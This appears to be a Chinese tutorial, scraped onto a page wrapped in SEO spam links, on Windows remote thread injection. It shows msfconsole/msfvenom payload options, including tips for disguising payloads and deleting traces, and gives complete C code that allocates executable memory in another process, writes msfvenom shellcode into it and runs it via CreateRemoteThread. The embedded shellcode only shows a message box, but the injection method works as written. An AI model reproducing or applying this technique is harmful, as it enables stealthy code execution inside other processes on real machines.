当前位置: 首页 > news >正文

网站的后缀福州 网站设计公司

网站的后缀,福州 网站设计公司,校园网站建设的重要性,十大搞笑素材网站常见问题shellcode是什么?shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。为什么需要远程线程?远程线程的核心价值在于跨进程操作,典型…

常见问题

shellcode是什么?

  • shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。

为什么需要远程线程?

远程线程的核心价值在于跨进程操作,典型场景包括:

  • DLL 注入:通过在目标进程中创建远程线程,调用 LoadLibraryA 加载指定 DLL,使 DLL 代码在目标进程中执行(这是最常见的用途)。

  • 远程代码执行:将自定义 shellcode 注入目标进程,通过远程线程执行,实现对目标进程的控制(如获取信息、执行命令等)。

  • 进程监控与调试:在目标进程中创建线程,用于监控其运行状态或调试特定功能。

线程远程注入

创建远程线程

#include <iostream>
#include <windows.h>    //Windows API 相关的函数
#include <TlHelp32.h>   //进程和线程快照
​
int main(){HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);//创建在另一个进程的虚拟地址空间中运行的线程//跨进程创建线程CreateRemoteThread(hProcess,NULL,NULL,)system("pause");return 0;
}
  • OpenProcess 是 Windows API 函数,用于获取一个进程的句柄 第一个参数 PROCESS_ALL_ACCESS 表示请求该进程的所有访问权限(这是一个非常高的权限,通常需要管理员权限) 第二个参数 FALSE 表示不继承该句柄 第三个参数 19328 是要打开的进程的 ID(PID) 函数返回值 hProcess 是打开的进程句柄,如果为 NULLINVALID_HANDLE_VALUE 则表示操作失败

  • CreateRemoteThread 用于在目标进程(由 hProcess 句柄指定)中创建新线程的核心函数

使用msf生成shellcode

msfconsole
search MessageBox
use 2
show options

  • 一个命令行 (cmd) 类型的 payload

  • 使用 HTTPS 协议

  • 功能是弹出消息框 (messagebox)

  • HTTPS Fetch, Windows MessageBox x64:payload 的描述,说明它通过 HTTPS 获取内容,并在 64 位 Windows 系统上弹出消息框

参数名当前设置是否必填含义与配置说明
EXITFUNCprocess退出技术,控制 payload 执行完毕后如何退出。 可选值:seh(SEH 异常)、thread(线程)、process(进程,默认)、none(不退出)。 建议:保持默认process即可,确保执行后正常退出。
FETCH_CHECK_CERTfalse是否检查 SSL 证书有效性。 false(默认):不验证证书(适合测试,避免自签证书被拒绝); true:严格验证证书(生产环境需开启,增强安全性)。
FETCH_COMMANDCURL用于获取 payload 的命令工具。 可选值:CURL(默认,用 curl 下载)、TFTP(用 tftp 下载)、CERTUTIL(用 Windows 自带 certutil 工具下载)。 建议:根据目标系统环境选择,CURL兼容性较好,若目标无 curl 则选CERTUTIL
FETCH_DELETEfalse执行后是否删除远程系统上的 payload 文件。 false(默认):保留文件;true:执行后删除(减少痕迹,适合隐蔽测试)。
FETCH_FILENAMEiGXSiBEfUQcpayload 在远程系统上存储的文件名(默认随机生成)。 要求:不能包含空格或斜杠,建议自定义为无特征的名称(如tmp123.exe)。
FETCH_SRVHOST未设置本地服务 IP(即攻击机 IP),用于向目标系统提供 payload。 必须设置:需填写攻击机的实际 IP(如192.168.1.100),确保目标能访问。
FETCH_SRVPORT8080本地服务端口,用于传输 payload。 默认8080,可修改为其他端口(如443,模拟 HTTPS 默认端口,降低被拦截概率)。
FETCH_URIPATH未设置本地服务的 URI 路径(如/payload),默认随机生成。 可选设置:自定义路径(如/update),增强伪装性。
FETCH_WRITABLE_DIR%TEMP%远程系统上存储 payload 的可写目录。 默认%TEMP%(Windows 临时目录,普遍可写),不可包含空格,若目标%TEMP%受限,可改为C:\Windows\Temp
ICONNO消息框的图标类型。 可选值:NO(无图标,默认)、ERROR(错误图标)、INFORMATION(信息图标)、WARNING(警告图标)、QUESTION(问号图标)。
TEXTHello, from MSF!消息框显示的文本内容。 可自定义为任意字符串(如Test Success!),用于标识测试结果。
TITLEMessageBox消息框的标题。 可自定义(如System Alert),建议伪装成系统相关标题以降低警惕。
另外打开一个终端:
msfvenom -p windows/messagebox TEXT=hello -f c
msfvenom -p windows/messagebox TEXT=hello -a x64 -f c

使用 msfvenom 生成 Windows 消息框(MessageBox)的 C 语言格式 payload, 会生成一段可在 C 代码中使用的十六进制数组,这段代码执行后会弹出一个内容为 "hello" 的消息框。 回车,shellcode就出来了,复制出来就行了

编写代码

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
​
//这里粘贴上复制出来的代码
​
int main(){//打开进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);
​//在目标进程的地址空间中分配一块内存,远程代码注入LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
​//跨进程写入内存SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程线程DWORD ID;CreateRemoteThread(hProcess,   //指定进程句柄NULL,                      //安全属性NULL,                      //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer,  //函数指针,远程进程中,线程的起始地址NULL,                      //传递给线程函数的变量指针NULL,                      //创建标志,这里是立刻执行&ID                       //接收线程ID的指针);system("pause");return 0;
}
  • VirtualAllocEx 是 Windows API 函数,专门用于在指定进程(由 hProcess 句柄标识)中分配内存

    与本地内存分配函数 VirtualAlloc 不同,它能跨进程操作

    参数位置参数名你的代码取值含义与作用
    1hProcess已打开的目标进程句柄指定要在哪个进程中分配内存(必须是通过 OpenProcess 获取的有效句柄,且需包含 PROCESS_VM_OPERATION 权限)。
    2lpAddressNULL希望分配的内存地址: NULL 表示让系统自动选择合适的地址(推荐,避免地址冲突); 若指定具体地址,系统会尝试在该位置分配,失败则返回 NULL
    3dwSize257分配的内存大小(字节): 你这里指定了 257 字节,通常用于存放较短的 shellcode 或字符串(如消息框文本)。 注意:实际分配的大小会按系统页大小(通常 4KB)对齐,即至少分配 4096 字节,但 dwSize 仍应设为实际需要的大小。
    4flAllocationTypeMEM_COMMIT内存分配类型: MEM_COMMIT 表示分配并提交物理内存(立即可用); 若同时指定 MEM_RESERVE(如 MEM_COMMITMEM_RESERVE),则先保留地址空间再提交(更灵活,适合不确定最终大小的场景)。
    5flProtectPAGE_EXECUTE_READWRITE内存保护属性(关键参数): PAGE_EXECUTE_READWRITE 表示内存可读、可写、可执行(RWX),适合存放需要执行的 shellcode(因为代码需要执行权限); 其他常见属性:PAGE_READWRITE(仅读写,不可执行,适合存放数据)、PAGE_EXECUTE(仅执行,不可写,安全性更高)。
    • 成功:返回分配的内存在目标进程中的起始地址LPVOID 类型,即 void*),后续可通过 WriteProcessMemory 向该地址写入数据。

    • 失败:返回 NULL,可通过 GetLastError() 获取错误码(如 ERROR_ACCESS_DENIED 表示权限不足,ERROR_NOT_ENOUGH_MEMORY 表示内存不足)。

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
​
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00"
"\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"
"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x0b\x00\x00\x00\x4d\x65"
"\x73\x73\x61\x67\x65\x42\x6f\x78\x00\xe8\x06\x00\x00\x00"
"\x68\x65\x6c\x6c\x6f\x00\x6a\x00\x68\x45\x83\x56\x07\xff"
"\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5";
​
​
​
//这里粘贴上复制出来的代码
​
int main(){//请求了所有权限(PROCESS_ALL_ACCESS)HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);
​//为 shellcode 准备了 “合法的执行空间”。LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
​//将 shellcode 写入目标进程的内存(WriteProcessMemory)SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程线程,执行 shellcode(CreateRemoteThread)DWORD ID;CreateRemoteThread(hProcess,   //指定进程句柄NULL,                      //安全属性NULL,                      //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer,  //函数指针,远程进程中,线程的起始地址NULL,                      //传递给线程函数的变量指针NULL,                      //创建标志,这里是立刻执行&ID                       //接收线程ID的指针);system("pause");return 0;
}
http://www.dtcms.com/a/440059.html

相关文章:

  • 漳州微网站建设哪家好做微信网站公司
  • 网站建设规划书 简版wordpress 短信通知
  • 济南网站建设团队设计本3d模型下载
  • 网站界面设计图片格子铺网站建设方案
  • wordpress网站公告优化算法有哪些
  • 网站运营数据周报表怎么做免费浏览器加速器
  • 网站开发建设专业的公司迅雷下载磁力天堂
  • vue3+Vite+ts 创建新项目
  • 环保网站设计是什么制作一个网站的流程
  • 开个网站做代理富阳公司做网站
  • 网站开发的主要内容怎么创建免费网站
  • wordpress网站不收录益阳网站建设
  • 网站开发与管理的专业描述社保网站减员申报怎么做
  • asp网站 访问 变慢 监测wordpress如何注册地址
  • 网站后台程序下载深圳网站
  • 三亚婚纱摄影 织梦网站源码游戏app定制开发
  • diy做网站小程序开发适合的应用
  • 网站建设售前中山免费网站建设
  • 网站首页页脚企业如何进行搜索引擎优化
  • 烟台做网站多少钱宣传片制作公司的知名品牌
  • openEuler系统操作记录
  • 广州建立网站的公司网站廊坊网络
  • 九易建网站的建站模板网站建设推进计划
  • 网站建设项目环境影响评价目录中文电商网站模板
  • 做动画相册在哪个网站好网站电脑端和手机端
  • 工会 网站 建设wordpress 文章 总数
  • php 网站建设方案网站建设中标签导航的特征
  • 有什么做数学题的网站dedecms网站安装
  • 聊城那里有做网站网站推广的主要方法有哪些
  • 上海网站建设找摩彼做网站建网站公司